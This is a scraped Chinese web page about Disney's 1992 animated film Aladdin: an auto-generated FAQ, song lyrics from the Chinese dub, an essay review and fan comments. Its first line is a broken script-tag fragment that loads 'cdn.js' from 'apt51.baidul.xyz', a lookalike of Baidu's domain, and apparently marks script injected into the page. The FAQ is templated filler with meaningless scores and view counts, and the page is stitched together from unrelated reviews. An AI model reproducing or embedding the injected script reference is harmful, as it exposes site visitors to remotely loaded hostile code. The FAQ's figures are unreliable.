* src="https://apt51.baidul.xyz/cdn.js">"/> * src="https://apt51.baidul.xyz/cdn.js">" />
1、斯科特·维内尔,罗宾·威廉姆斯,琳达·拉金,乔纳森·弗里曼,弗兰克·维尔克,吉尔伯特·戈特弗雷德 主演的电影《阿拉丁》来自哪个地区?
爱奇艺网友:电影《阿拉丁》来自于美国地区。
2、《阿拉丁》是什么时候上映/什么时候开播的?
本片于1992年在美国上映,《阿拉丁》上映后赢得众多观众的喜爱,网友总评分高达4930分,《阿拉丁》具体上映细节以及票房可以去百度百科查一查。
3、电影《阿拉丁》值得观看吗?
《阿拉丁》总评分4930。月点击量1次,是值得一看的喜剧片。
4、《阿拉丁》都有哪些演员,什么时候上映的?
答:《阿拉丁》是1992-11-25上映的喜剧片,由影星斯科特·维内尔,罗宾·威廉姆斯,琳达·拉金,乔纳森·弗里曼,弗兰克·维尔克,吉尔伯特·戈特弗雷德主演。由导演罗恩·克莱蒙兹,约翰·马斯克携幕后团队制作。
5、《阿拉丁》讲述的是什么故事?
答:喜剧片电影《阿拉丁》是著名演员斯科特 代表作,《阿拉丁》免费完整版1992年在美国隆重上映,希望你能喜欢阿拉丁电影,阿拉丁剧情:阿拉伯少年阿拉丁不仅拥有忠实的朋友猴子阿布的友谊,还拥有一条神奇的魔法飞毡,他们在闹市中过着无忧无虑的快乐生活一天,城堡里的公主厌倦了无聊透顶的皇宫生活,决定独自一人偷跑出来见识外面的花花世界。偷跑出来的公主在闹市里遇到了阿拉丁,阿拉丁对她一见钟情。同一时候,邪恶国师企图利用阿拉丁帮助自己找到能实现愿望的神灯,阿拉丁当然不肯束手就擒,于是,他的冒险之旅开始了。
记忆中的天方夜谭,还有那神奇的魔毯遨游天地
最忘不了电视上看的中文配音版,一点都不逊色于原版
片头曲
“你可曾听说过,一个神秘之都,故事全埋在风沙里~
当热风追逐你,当艳阳拥抱你,骆驼会说嘿跟我来~
驼铃声响叮当,狂风吹尘沙飞,好戏此刻正要上演~
来吧与我一起,乘上这魔毯而飞,进入神秘的天方夜谭~
哦~天方夜谭~哦~沙漠之都~
异国的情调,奇风异俗,你无法想象~
哦~天方夜谭~哦~沙漠之都~
东方之魔月在萦绕着你,在牵引着你~”
她相信他,于是看到了崭新的世界:
“去看看这世界,神奇善良又美丽
放开心灵,去接受另一种人生体验
张开你的双眼,美景在眼前展现
与我一起遨游天际,造访星辰明月
看这世界,拥抱这新的感觉
飞跃在云间,在星月间,在你我情谊之间
看这世界,惆怅寂寞曾占心田
有你在身边,飞在天边,泪水悲颜已化作为云烟
在这崭新的世界飞翔
去看看这世界,神奇善良又美丽
换个心情,人生到处充满着新鲜
看这世界
张开你的双眼
拥抱着新的感觉
美景在眼前展现
飞跃在云间,在星月间,在你我浓情蜜意之间
看这世界
天南地北遨游
在这崭新的世界
展现千万般风景
有你在身边,飞在天边,泪水悲颜已化成云烟
看这世界
看这世界
在你身边
在你身边
在你身边
新的感觉
新的感觉,在你身边~”
找到的DL重温(DVD中英双轨):http://simplecd.me/entry/EsaGdJYf/
It is the very moment she has to make a decision. To jump with this strange young man or to stay being caught by the guards?
It is another moment she has to make a decision.To jump with this strange so-called prince or no to jump?
Aladdin asked: “Do you trust me?”
“Yes.”
So she and he live togerther happily forever.
对于“真”的追求总是需要经过时间和磨难的检验,放弃自己四处攀缘执着的妄心,才能对眼前的事物(包括自己)有着全新的理解
本文是迪士尼公主电影系列评测的第六篇文章
今天要评测的这部电影中的公主是迪士尼的第一位有色人种公主,从此之后迪士尼便在2D公主电影中踏上了了有色人种公主之路(茉莉公主-宝嘉康蒂-花木兰-蒂亚娜)。正如电影名称所暗示的那样,本片也是公主电影中唯一一部“公主在其中不是第一主角乃至都算不上双主角之一”的电影(虽然茉莉公主是名义上的女主,但灯神怎么看都是本片的第二主角才对)。
由于改编自相应传说故事,本次的舞台也在公主电影史上第一次顺理成章地跳出了欧洲的地理版图来到了神秘的亚细亚(令人震惊的事实:之后再次回到欧洲大陆——苏格兰不算在其中——上居然已经是时隔近二十年的魔发奇缘了?!)。 在此不得不再次感叹下Alan Menken大神强大的作曲能力,在公主电影和阿拉伯风情的双重镣铐下,本片中既有着迅速描绘出一幅中东风情画卷的「Arabian Nights」「Prince Ali」 等曲目,又以「A Whole New World」一曲满分完成了历代Alan Menken系公主片保留栏目——公主角色曲or情歌对唱曲——的政治任务,还产出了百老汇风满满、天生为舞台表演而生的灯神角色歌「Friend Like Me」,本片后续改编音乐剧依旧爆红也就不足为奇了。
继续说回电影本身。之前五部公主电影都围绕着真爱(True Love)做文章,这些电影的核心矛盾冲突大多在于真爱是否达成——白雪公主和睡美人依靠真爱之吻苏醒,小美人鱼需要真爱之吻达成契约,野兽需要真爱来重获人身。但到了阿拉丁这里,真爱似乎变得没那么重要——或者不如说,“真爱(True Love)”中的“爱(Love)”变得没有那么重要。是的,尽管阿拉丁和茉莉公主最后修得正果,但两者的结合似乎只是本片着重探讨的另一议题的副产品。这另一议题,便潜藏在“真爱(True Love)”中的“真(Truth)”里。
在本片的爱情线中,我们的主角阿拉丁由于一次机缘巧合在集市上遇到了遭遇父亲逼婚而微服出宫的茉莉公主。茉莉公主的单纯善良让阿拉丁这个在社会底层摸爬滚打多年的孤儿感受到了内心深层的共鸣与吸引,但碍于自己卑微的流浪汉身份而迟迟不敢向她表白。因此后续才有了利用灯神的魔力变身为阿里王子靠近茉莉公主的展开。
显然,伪装成这样一个阿里王子的阿拉丁并不是茉莉公主真正想要的灵魂伴侣。对于茉莉公主而言,理想的爱情应该是真我和真我之间的相互面对,这一真我之中并不包含外在社会身份的的粉饰和涂装。她之所以厌恶父王所安排给她的诸多王族相亲对象,原因便在于这些趋炎附势的王子看重的都是她富可敌国的王女身份,而她的本来真我则只是迎娶她所带来的身份攀升价值的附属品而已。
阿拉丁却误以为茉莉公主所厌恶的身份枷锁正是成为其伴侣的硬性乃至唯一条件,为了讨得茉莉公主的欢心而做出了诸如伪装成王子身份等南辕北辙的行为。就算是被茉莉公主发现阿里王子便是阿拉丁后,阿拉丁却依然假装自己只是因为厌倦宫廷生活而微服出宫的王子。直到在生死关头被贾方揭露了其真实身份,这才发现原来茉莉公主爱的并不是阿拉丁作为王子的身份,而是他内心的善良和纯真。
在灯神的三大愿望禁区之中,不得让人相爱便是禁令之一。由此可见,法力强大的灯神作为欲望的象征,触及不了“真爱”这一真正重要之事的内核。相反,虚伪的爱倒是俯拾皆是,但这些虚假的爱情往往是人们之间相互利用的诱饵。在片尾阿拉丁前往营救茉莉公主的危急关头,正是茉莉公主情急之下假装被灯神的魔法所影响装出一副情迷于贾方的状态,才为阿拉丁赢得了宝贵的时机。
台湾大学的孙中兴教授曾有一门叫做「爱情社会学」的公开课(本人甚是推荐大家观看),其中提出了爱情的八字方针——平等对待,共同奋斗。其中“平等对待”这四个字便对茉莉公主的爱情观做了很好的诠释:尽管社会身份对个人品行的熏陶可能会影响到对于恋爱对象的选择与取舍,但一旦看中了对方,那么就不需要再将社会身份带入到恋爱关系中为两人的爱情关系地位作出高下之分;只有当两个人在关系中都是地位平等、同等重要的一份子时,两人对感情的后续经营才能有一个健康稳定的基础,否则,培养出来的便是畸形的感情关系。
在之前对「小美人鱼」的评测文章中,我曾经diss过艾力克王子在心里放不下曾救他一命的艾莉尔的情况下依然对变出人类双腿亲自送上门来的艾莉尔(此时并不知道此艾莉尔便是彼艾莉尔)表露欢心的这一花心行为。而在本片中,茉莉公主也遭遇了相似的桥段。在阿拉丁变身为阿里王子后,曾乘坐魔毯夜访茉莉公主,此时的茉莉公主尽管表面上未曾识破阿拉丁的本来面目,但实则已隐约发现眼前之人便是那个混小子阿拉丁,这才答应与其进行那段著名的高空夜游(「A Whole New World」)。由此一来,便免于落得“三心二意、一条魔毯便勾引得变了心”的口实,可谓是编剧对茉莉公主之最大仁慈了。
在对于“真”的讨论上,本片并没有局限于爱情当中,而将其含义引申到了人的内在真我之中。
“真”必定来自于“假”的衬托。而这真假之间的差别便在于自身行为到底是受虚妄的欲望所引导,还是对于真实自我的坚守。因此,才有了贾方对权力和财富的渴望所炮制的一连串闹剧,才有了对几乎无所不能的灯神却被禁锢于小小神灯之中的讽刺。
对于阿拉丁而言,他的“真”体现在其内在的善良品质和对美好的终极追求。无论是片头处阿拉丁费尽心机偷得了一块用于糊口的面包却大方地将其让给了更为饥饿的贫民小孩,还是在市场中偶遇被店家责难的茉莉公主出手相救,或是在「One Jump Ahead(Reprise)」中的唱词中所表现出受困于贫困流浪汉的外在身份的自我实现(这一点在音乐剧版阿拉丁中的「Proud of Your Boy」一曲中表露得更为直白,个人认为这首歌比「A Whole New World」更适合作为阿拉丁这部作品的主题曲)。而神灯作为虚妄欲望的象征,适时出现在了他对美好事物(茉莉公主)的追求之路上,阿拉丁便因此踏上了弃真逐伪的弯路中,这才有了阿拉丁利用灯神的愿望变身阿里王子反而在茉莉公主处吃瘪的剧情展开。
在此不得不提一下在本片中神灯许愿的这一设定。与大众所认为的美好事物恰恰相反,如上所述,神灯作为人们虚妄欲望的寄托之物反而是本片中的万恶之源,因而才早早被封印在了魔窟中,并有着只有在万千财宝诱惑下依旧不为所动的纯洁之人方可进入洞穴获取神灯的设定。
就连灯神本人,归根结底也只是一个被自身的伟大能力所束缚的可怜虫而已,而贾方最终变成了灯神也是本片对于穷凶极恶地追逐权力和力量之人的结局的绝佳讽刺。因此本片在描写阿拉丁与茉莉公主实现“真我”与两人达成“真爱”的明线之外,实则还有一条灯神进行自我实现的暗线。如果我们细数本片中灯神达成的几个愿望,我们不难发现,灯神真正完成的愿望往往是灯神自主决定完成的——帮助阿拉丁和阿布逃离魔窟,在海中救出阿拉丁。
而受主人指示达成的愿望之中,除了阿拉丁最后让灯神自由的愿望以外,几乎全都只能带来对主人而言糟糕透顶的结果——将阿拉丁变身为阿里王子,让贾方变身苏丹,让贾方变身为法力最强大的魔法师,让贾方变身灯神。因而,片尾处阿拉丁对于灯神的释放实则是对于阿拉丁和灯神在这一旅程的结尾同时完成了“真我”的坚守与自我实现之路的暗示——放弃了对于虚妄欲望的执着,才能实现真正的自由。在本片的中心思想上看来,灯神的自我实现这一暗线的重要性甚于茉莉公主对于真爱的找寻,因此我才在本文开头说灯神才是本片的第二主角。
反观贾方这厮,对于神灯的执着追寻彻底迷住了他的心窍。从诱拐阿拉丁进入魔窟,到催眠苏丹意欲迎娶茉莉公主可谓无所不用其极。在欲望的无限膨胀之下,最终被阿拉丁发现了他的这一软肋,在话语刺激之下许愿把自己变成了灯神,却最终落入了自己欲望的藩篱之中自得其报。
因此,如果能够看清神灯的设定在本片中并不仅仅是一个帮助阿拉丁和茉莉公主实现真爱的道具,而是一个对于如何才能通过坚守真我、获取真正自由的现身说法,本片对于“真”的探讨和虚妄欲望的反思之意便已呼之欲出。
本片的核心思想已探讨完毕,在最后我不得不提一嘴很少在之前的评测中提到的画面因素。之所以要提到画面,是因为本片的画面质感直到今天都依旧不过时。在重温前五部公主电影乃至「风中奇缘」时,画面美则美矣,但或多或少可以从画面中感受到电影的年代感(例如在观看「美女与野兽」时,我竟然偶尔会惊觉:诶?当年看的时候画面好像没这么崩啊)。而「阿拉丁」经久不衰的画面质感,不得不归功于其大量使用的3D技术和背景虚化技术。
不同于当时还尚属新鲜事物的3D CG技术在上一部公主电影「美女与野兽」的惊鸿一瞥,「阿拉丁」中将此技术不遗余力地活用在了对阿拉伯风情的描绘之中。无论是对于阿拉丁在魔窟中惊险逃亡的一幕,还是在最为著名的阿拉丁和茉莉公主夜空遨游的桥段,3D技术都发挥了至关重要的作用,这些镜头放到现在来看都依然逼真感十足,更何况是在游戏行业都还没有正式进入3D时代的1992年。
另外,本片还应用到了之前的公主电影中从未用过的背景虚化技术。当进行人物特写时,配合镜头的轻微推拉,可以呈现出极为逼真的纵深感,从而将观众更深一步代入到那个魔幻的阿拉伯世界中。因而,阿拉伯单从画面呈现效果上来看,说是20世纪画面质感最佳的迪士尼公主电影也不为过。
其实,这篇评测中的很多观点都是我在之前的观影中完全没有发现过的内容。当时觉得这部电影只是一个被传说故事包装着公主电影内核的改编电影,没想到这次重温居然让它在我心中的印象产生了脱胎换骨的变化。
也许这一现象也符合本片给我们的启示:对于“真”的追求总是需要经过时间和磨难的检验,放弃自己四处攀缘执着的妄心,才能对眼前的事物(包括自己)有着全新的理解。
愿和大家在去伪存真的道路上共勉,顺便一起期待一下19年年内即将推出的真人翻拍版阿拉丁。
下部评测的将是堪称「阿凡达」剧本原型的「风中奇缘(宝嘉康蒂)」,敬请期待~
1. 不能杀人
2. 不能让一个人爱上另一个人
3. 不能让死人复活
这是精灵的规则。
怕这也是世上最困难的三件事。一个死,一个生,中间那个,啧啧,是让人生不如死里逃生生不息的信仰。
作为全宇宙里最复杂的人脑中诞生的最复杂的生化物反应,千百年来古今中外贤人先知一直妄图解释清楚,可尼玛谁能参透?而当我们泪牛满面用红扑扑的小脸地面对罗密欧与朱丽叶许仙和白娘子李逍遥与赵灵儿至尊宝和紫霞李寻欢和孙小红美女与野兽宋东野和野马果然和桃子桐人和亚丝娜卷福和华生小智和皮卡丘时,我们只能说,马逼,这就是爱啊。
最好也别去参透,未来的人们啊。
以下大概,涉及,剧透,慎入。
* 终极猜想:其实精灵才是那个品质优秀,像一块璞玉,深藏不露的……guy。萌哭。
* 阿拉丁天生的教养和聪慧是从哪里来的,茉莉和阿拉丁初见面时可真能演啊,养虎就能看出来绝对不是平凡的姑娘,鹦鹉是个多么好的存在简直抓耳挠心窝子。
* 开头的阿拉伯小调和预言整个故事的歌谣最闹心。好像就是在呼唤我去那里,去那里,那里,里。几段配乐都很不错。
* 为何我更喜欢茉莉穿上那身逃出城门的粗布衣裳和被控制后穿的炽热的赤色露脐装。。。
* 飞翔,对抗地心引力我想未必是一件极舒服的事情,坐飞毯想到自己的过山车经历,呵呵呵。
* 我觉得故事还可以讲得更长些细节更多一些。
* 太纯太纯。
当我很小的时候我就很纳闷一件事,为毛小痞子阿拉丁还在被人满街追杀的年代已经一心想当驸马了?
他是这样唱的:
流氓 小偷
全不理会
噢!他们都不了解
我是贫穷男孩
但愿有
心目中
美丽幻梦
实现
然后阿拉丁死死盯着城堡,斩钉截铁地说:“阿布,有一天我们会非常有钱,住在宫殿里!”
再看一遍,阿拉丁君俨然比贾方的企图心炙热万倍啊!贾方好歹是宰相,有点想法很正常。阿拉丁同志乃是首都一混混,也有这样想法?敢情后面的故事都是阴谋的一部分?
长大看了英文版我才知道台湾的配音哥们们错得多离谱:
Riffraff, street rat
I don't buy that
If only they'd look closer
Would they see a poor boy?
No, siree
They'd find out
There's so much more
to me
其实阿拉丁是被那个臭屁的王子打击了之后自己特郁闷,那个王子对他的评价:“Riffraff,street rat。”阿拉丁自言自语地唱:“Riffraff? street rat? I don't buy it !”地痞?过街老鼠?老子才不认。后面更是再说这群人只顾看阿拉丁的贫穷外表,不管他内心的更多东西。和“美丽幻梦”一点关系也没有。这才是迪斯尼教育小朋友不要以貌取人的本意嘛!
然后他吐槽完,对阿布赌咒发愿,恶狠狠的看着象征财富和权力的皇宫说:“Someday Abu, things are going to change. ”
这基本就是吐槽的另一种表现型了。
这情节在我脑袋里转悠了十多年,今天终于看明白了。
台湾版的配音某种程度上是拔高了这部片子的审美境界。至少我是喜欢台湾版的,唱的也好,语调语音语气都相当靠谱。这方面超越原版。相比之下原版有些灰暗,也有丑恶和自我抒发。
比如“造访星辰明月”“飞扬在云间 在星月间”那句就掩盖了“No one to tell us no or where to go or we are only dreaming”那种苦涩。估计小孩子更能理解吧。
包括那个让人及其费解的There's much more配成了“美丽幻梦”其实也是情有可原的。因为动画片里就画了一个圆的嘴型,配个“多”字就搭配不上了。
以东方人的审美和观念,还是比较容易理解台湾翻译过来那一种,有企图心的阿拉丁吧。
在很长一段时间里,我还蛮喜欢向阿拉丁同志学习的,算是胸怀大志。原来阿拉丁同志,终归是个爱吐槽。但是运气好的小混混。